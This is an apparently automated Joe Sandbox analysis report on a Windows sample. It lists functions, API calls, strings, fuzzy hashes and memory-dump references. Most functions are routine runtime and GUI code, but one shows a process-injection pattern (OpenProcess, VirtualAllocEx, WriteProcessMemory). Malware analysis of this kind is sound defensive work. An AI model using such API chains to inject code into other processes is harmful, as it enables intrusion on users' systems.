Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: c3c6110ef47f8474b3aee38d103288009a94a732d54534d718fbbb8757739500
Instruction ID: eca588c6257fc38953ace3e8da3ae00bb59fb6970e8b6ac595cc3af90e66ff8c
Opcode Fuzzy Hash: c3c6110ef47f8474b3aee38d103288009a94a732d54534d718fbbb8757739500
Instruction Fuzzy Hash: D381E27AE0C202A6FB757F179E4227DA2A0AF91744FD480B1DA0E53680DB6DE850F321

Function 00007FF73A1FB1E8 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 150COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A1FB211
_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A1FB3EE

Strings

*, xrefs: 00007FF73A1FB322
, xrefs: 00007FF73A1FB377

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: $*
API String ID: 3215553584-3982473090
Opcode ID: e1993591883a1ee4d578272befcf29134d05160a5f94b748d186053ef0cddf2b
Instruction ID: 355b7da24a587f75c4f088e565f03fa03e8d92e7ece0d47b1160e6177cc8e342
Opcode Fuzzy Hash: e1993591883a1ee4d578272befcf29134d05160a5f94b748d186053ef0cddf2b
Instruction Fuzzy Hash: 0561A43A94E2C39EF764AE24A04637EB7B4EB45B08F9413B5CB4A41189CF28E441E625

Function 00007FF73A206148 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF73A206202

Strings

acos, xrefs: 00007FF73A206215
!, xrefs: 00007FF73A206237

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: _set_statfp
String ID: !$acos
API String ID: 1156100317-2870037509
Opcode ID: 0d89aa78777a41b63d954a76095aee346a1dbdd639e7adc8a9fc006d5894d638
Instruction ID: b9f8fa3c631be4ed3250baacbadca7624955ab42d290c5a0d539e37ae543265c
Opcode Fuzzy Hash: 0d89aa78777a41b63d954a76095aee346a1dbdd639e7adc8a9fc006d5894d638
Instruction Fuzzy Hash: 7461F625D28F4598F223EB346812276D798BFE63D0F908376E91E75E64DF2CE042B610

Function 00007FF73A206408 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 138COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF73A2064BA

Strings

!, xrefs: 00007FF73A2064EF
asin, xrefs: 00007FF73A2064CD

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: _set_statfp
String ID: !$asin
API String ID: 1156100317-2188059690
Opcode ID: dda4458e7c1e859fb838f80da50bdd89987d805c8091ebd73b4f99c53429eb29
Instruction ID: d8c43d251e961ab0f801ac4b3cbbfae534cf6a98c0654a0dfbb5c388fed8bda6
Opcode Fuzzy Hash: dda4458e7c1e859fb838f80da50bdd89987d805c8091ebd73b4f99c53429eb29
Instruction Fuzzy Hash: 0661E726C28F8195F213EB346812376D798BFD63D0F908372E95E75A65DF2CE042B610

Function 00007FF73A23EAC0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A2496AC: WriteProcessMemory.KERNEL32 ref: 00007FF73A2496F7

SendMessageW.USER32 ref: 00007FF73A23EB35

Part of subcall function 00007FF73A249660: ReadProcessMemory.KERNEL32 ref: 00007FF73A24969E

Part of subcall function 00007FF73A249560: GetWindowThreadProcessId.USER32 ref: 00007FF73A2495A4
Part of subcall function 00007FF73A249560: OpenProcess.KERNEL32(?,?,?,?,00000000,00007FF73A23E40A), ref: 00007FF73A2495B6
Part of subcall function 00007FF73A249560: VirtualAllocEx.KERNEL32 ref: 00007FF73A2495DC

SendMessageW.USER32 ref: 00007FF73A23EBBD
SendMessageW.USER32 ref: 00007FF73A23EC17

Strings

@, xrefs: 00007FF73A23EC32

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 8590b3572ee50005f206f958431262ef9082a01c97b701578a5c0a82d3af5d25
Instruction ID: 5c2b6d1c9f5fdf507e67b15c2a588f1084feea8fa052c6560e2e5c90772f30bb
Opcode Fuzzy Hash: 8590b3572ee50005f206f958431262ef9082a01c97b701578a5c0a82d3af5d25
Instruction Fuzzy Hash: 5B51D03A618681A2E720EF52E482AAEF761F7C8B84F844071FE4D53B89DE7CD505DB10

Function 00007FF73A20EAA8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,00000010,00000010,00000000,00000010,00007FF73A20EF05), ref: 00007FF73A20EB8E
WriteFile.KERNEL32 ref: 00007FF73A20EBC1
GetLastError.KERNEL32 ref: 00007FF73A20EBE3

Strings

U, xrefs: 00007FF73A20EB6C

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: ByteCharErrorFileLastMultiWideWrite
String ID: U
API String ID: 2456169464-4171548499
Opcode ID: 94b35a9ebb8fe33294e0bdd0e775bf8e0988a6ef2a86fc1225fbcd9ba36526fe
Instruction ID: f68fa69ca016a092c095d2aacb3bcf80e19d11129f7a930afbdb0d4942d0f35f
Opcode Fuzzy Hash: 94b35a9ebb8fe33294e0bdd0e775bf8e0988a6ef2a86fc1225fbcd9ba36526fe
Instruction Fuzzy Hash: 1E41A226A1974196EB20EF15E4463AAB7A1FB88794F804031EE8E87788DF3CD441E751

Function 00007FF73A27B454 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

SetWindowPos.USER32 ref: 00007FF73A27B556
GetWindowLongW.USER32 ref: 00007FF73A27B57B
SetWindowLongPtrW.USER32 ref: 00007FF73A27B58E

Strings

SysTreeView32, xrefs: 00007FF73A27B512

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: efcadc7bc094786019cbc8bf8bf3fbcf06e95b4321d3c984f5b6707381f7f713
Instruction ID: 5ac891cea13b462aadeabe668abf93db7b938fa24fa4025b1ec3794f0f368afa
Opcode Fuzzy Hash: efcadc7bc094786019cbc8bf8bf3fbcf06e95b4321d3c984f5b6707381f7f713
Instruction Fuzzy Hash: FA418E36A097829AE7709F28E445B9AB3A1F784760F504375EAA803B99CF3CD941DF50

Function 00007FF73A27AB9C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A1D932C: CreateWindowExW.USER32 ref: 00007FF73A1D93BC
Part of subcall function 00007FF73A1D932C: GetStockObject.GDI32 ref: 00007FF73A1D93D9
Part of subcall function 00007FF73A1D932C: SendMessageW.USER32 ref: 00007FF73A1D93EC

SendMessageW.USER32 ref: 00007FF73A27AC80
SetWindowPos.USER32 ref: 00007FF73A27ACA9
SendMessageW.USER32 ref: 00007FF73A27ACE0

Strings

SysMonthCal32, xrefs: 00007FF73A27ABE3

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: MessageSend$Window$CreateObjectStock
String ID: SysMonthCal32
API String ID: 2671490118-1439706946
Opcode ID: fd789cdfff50be9b4411109bcad662b9f9b7c83045e67513290be4d4cd92b5f4
Instruction ID: 362a6ade908804f7a8a9bdd710a6e5ab5619b17278b32b04c4f852dce36a7b8d
Opcode Fuzzy Hash: fd789cdfff50be9b4411109bcad662b9f9b7c83045e67513290be4d4cd92b5f4
Instruction Fuzzy Hash: 66417D366086C29BE330DF15E444B9AF7A0F7C87A0F508229EA9943A99DF3DD5859F00

Function 00007FF73A27B798 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A1D932C: CreateWindowExW.USER32 ref: 00007FF73A1D93BC
Part of subcall function 00007FF73A1D932C: GetStockObject.GDI32 ref: 00007FF73A1D93D9
Part of subcall function 00007FF73A1D932C: SendMessageW.USER32 ref: 00007FF73A1D93EC

SendMessageW.USER32 ref: 00007FF73A27B8B1
SendMessageW.USER32 ref: 00007FF73A27B8C9
DestroyWindow.USER32 ref: 00007FF73A27B8D6

Strings

msctls_updown32, xrefs: 00007FF73A27B7E3

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyObjectStock
String ID: msctls_updown32
API String ID: 1752125012-2298589950
Opcode ID: 74e3ad92c2baccfb6081841c4f4ce29bd6f6c1edab28d3e774f2eecd82cc7261
Instruction ID: a4ab1eaf4bca8def9ed331d763bbba7e83b7d09360fea3daab64fc61f921e5e4
Opcode Fuzzy Hash: 74e3ad92c2baccfb6081841c4f4ce29bd6f6c1edab28d3e774f2eecd82cc7261
Instruction Fuzzy Hash: 1231B136A18B81A6FB60DF15E4413AAB361FBC8B91F908176EA8D43B59CF3CD445DB10

Function 00007FF73A27A1F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 79windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A1D932C: CreateWindowExW.USER32 ref: 00007FF73A1D93BC
Part of subcall function 00007FF73A1D932C: GetStockObject.GDI32 ref: 00007FF73A1D93D9
Part of subcall function 00007FF73A1D932C: SendMessageW.USER32 ref: 00007FF73A1D93EC

SendMessageW.USER32 ref: 00007FF73A27A2E4
SendMessageW.USER32 ref: 00007FF73A27A2F8
MoveWindow.USER32 ref: 00007FF73A27A328

Strings

Listbox, xrefs: 00007FF73A27A23D

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: MessageSend$Window$CreateMoveObjectStock
String ID: Listbox
API String ID: 3747482310-2633736733
Opcode ID: 4629ce28c24575fa998f22937708fe0feac1f339ddb28addb223e5ca3634c4d7
Instruction ID: 2560e9a4decb5ed9f432d167b4d160195609b3afc7695b8170c5b665139a2421
Opcode Fuzzy Hash: 4629ce28c24575fa998f22937708fe0feac1f339ddb28addb223e5ca3634c4d7
Instruction Fuzzy Hash: 48315A366087C196E770DF16F444A5AB7A5F7887A0F908225EEA903B99DB3DD481DF00

Function 00007FF73A254DF8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00007FF73A254E29
GetVolumeInformationW.KERNEL32 ref: 00007FF73A254E9F
SetErrorMode.KERNEL32 ref: 00007FF73A254F0E

Strings

%lu, xrefs: 00007FF73A254EB0

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: ErrorMode$InformationVolume
String ID: %lu
API String ID: 2507767853-685833217
Opcode ID: 1d2d9ec70042b180fc7aee4065bf2b0cf31a7f0658b1f1c5aeac4af0ce1da44c
Instruction ID: 76ada5da873f91ad99c8d3474b42687bd73314510910cd6fc3cbd8673dbe47e7
Opcode Fuzzy Hash: 1d2d9ec70042b180fc7aee4065bf2b0cf31a7f0658b1f1c5aeac4af0ce1da44c
Instruction Fuzzy Hash: 1B31AE7A608B86A6EB10EB16E4811ADF7B1FB88BC0F804075EA8D43B65CF3CD591D710

Function 00007FF73A27B104 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A1D932C: CreateWindowExW.USER32 ref: 00007FF73A1D93BC
Part of subcall function 00007FF73A1D932C: GetStockObject.GDI32 ref: 00007FF73A1D93D9
Part of subcall function 00007FF73A1D932C: SendMessageW.USER32 ref: 00007FF73A1D93EC

SendMessageW.USER32 ref: 00007FF73A27B1BE
SendMessageW.USER32 ref: 00007FF73A27B1DA
SendMessageW.USER32 ref: 00007FF73A27B1EF

Strings

msctls_trackbar32, xrefs: 00007FF73A27B14B

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: msctls_trackbar32
API String ID: 1025951953-1010561917
Opcode ID: d23565779f05c86e88825c5223c790f228a79c76439431c452903b53a7f93148
Instruction ID: 8824e29b031093b11f0e44df59b9cb07f9c2d5356a5f903bb3ee83d68a154a28
Opcode Fuzzy Hash: d23565779f05c86e88825c5223c790f228a79c76439431c452903b53a7f93148
Instruction Fuzzy Hash: 5F316836A086819BE360DF15E445B6AB7A1FBC8B90F508279EB9843B58CF3CD941DF14

Function 00007FF73A1F8782 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A1F7130: __vcrt_getptd_noexit.LIBVCRUNTIME ref: 00007FF73A1F7134

__DestructExceptionObject.LIBVCRUNTIME ref: 00007FF73A1F87AA
RaiseException.KERNEL32 ref: 00007FF73A1F87D3
__DestructExceptionObject.LIBVCRUNTIME ref: 00007FF73A1F8834

Strings

csm, xrefs: 00007FF73A1F8807

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Exception$DestructObject$Raise__vcrt_getptd_noexit
String ID: csm
API String ID: 2280078643-1018135373
Opcode ID: f3b44f69e9663573439d22a4e4da11b073c1d9211702bf15dcc91806c3a7fe41
Instruction ID: 2c7d8e2cf01119b54d4ba5cbb7cb7e519fdf040f01d2abf1e2444c4142c6cc86
Opcode Fuzzy Hash: f3b44f69e9663573439d22a4e4da11b073c1d9211702bf15dcc91806c3a7fe41
Instruction Fuzzy Hash: 86211A3A60969296E670AF12F44126EB7B1F785BA4F800365DF9D03795CF3CE886DB10

Function 00007FF73A24C110 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF73A24C14F
DeviceIoControl.KERNEL32 ref: 00007FF73A24C1CB
CloseHandle.KERNEL32 ref: 00007FF73A24C1D6

Strings

0, xrefs: 00007FF73A24C1AC

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID: 0
API String ID: 33631002-4108050209
Opcode ID: 122fac756a3aebd614dbe24bd4d9d3fcd08661cb9d9b68eb4b308195107418d6
Instruction ID: 24a8baf59b91c9c870dd94afd6a3344d7483b904e4457b359be34a4bfdfe4fdd
Opcode Fuzzy Hash: 122fac756a3aebd614dbe24bd4d9d3fcd08661cb9d9b68eb4b308195107418d6
Instruction Fuzzy Hash: 4D21A336618B80DAE3208F25E48469AB7B8F3C4794F544226EB9D43B94CF3CCA55DB00

Function 00007FF73A26AF20 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF73A232DD1), ref: 00007FF73A26AF37
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF73A232DD1), ref: 00007FF73A26AF4F

Strings

GetSystemWow64DirectoryW, xrefs: 00007FF73A26AF45
kernel32.dll, xrefs: 00007FF73A26AF30

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: b553b98cf413c0522d0a8d0790f0dad2998fa959ac13788e6be9999dd8a5b612
Instruction ID: 932850fba0f91c91dfb9396ffce8926678ea3075aea443ede9a5482ade61a340
Opcode Fuzzy Hash: b553b98cf413c0522d0a8d0790f0dad2998fa959ac13788e6be9999dd8a5b612
Instruction Fuzzy Hash: 96F01C69A06B06A1FF18AB50E455364A3F4FB98B09FC40475D91C42360EFBCD558F320

Function 00007FF73A1D6D1C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF73A1D6D33
GetProcAddress.KERNEL32 ref: 00007FF73A1D6D4B

Strings

Wow64RevertWow64FsRedirection, xrefs: 00007FF73A1D6D41
kernel32.dll, xrefs: 00007FF73A1D6D2C

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: f93d3ff0ce366ab95d7e6c8a1355595afc9dd02f208f5495b2fec8b10b31cda7
Instruction ID: c8d876d0333ffb7ad88cb2f5f96c139484ecc988b4aa1a7e2d32a603ee2941b0
Opcode Fuzzy Hash: f93d3ff0ce366ab95d7e6c8a1355595afc9dd02f208f5495b2fec8b10b31cda7
Instruction Fuzzy Hash: 2CE06D2A915F06A1FF15AB11F4063B863E4FB88B08F840470D91C45364EF7CE594E310

Function 00007FF73A1D6D64 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,00007FF73A1D6490), ref: 00007FF73A1D6D7B
GetProcAddress.KERNEL32(?,?,?,00007FF73A1D6490), ref: 00007FF73A1D6D93

Strings

Wow64DisableWow64FsRedirection, xrefs: 00007FF73A1D6D89
kernel32.dll, xrefs: 00007FF73A1D6D74

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

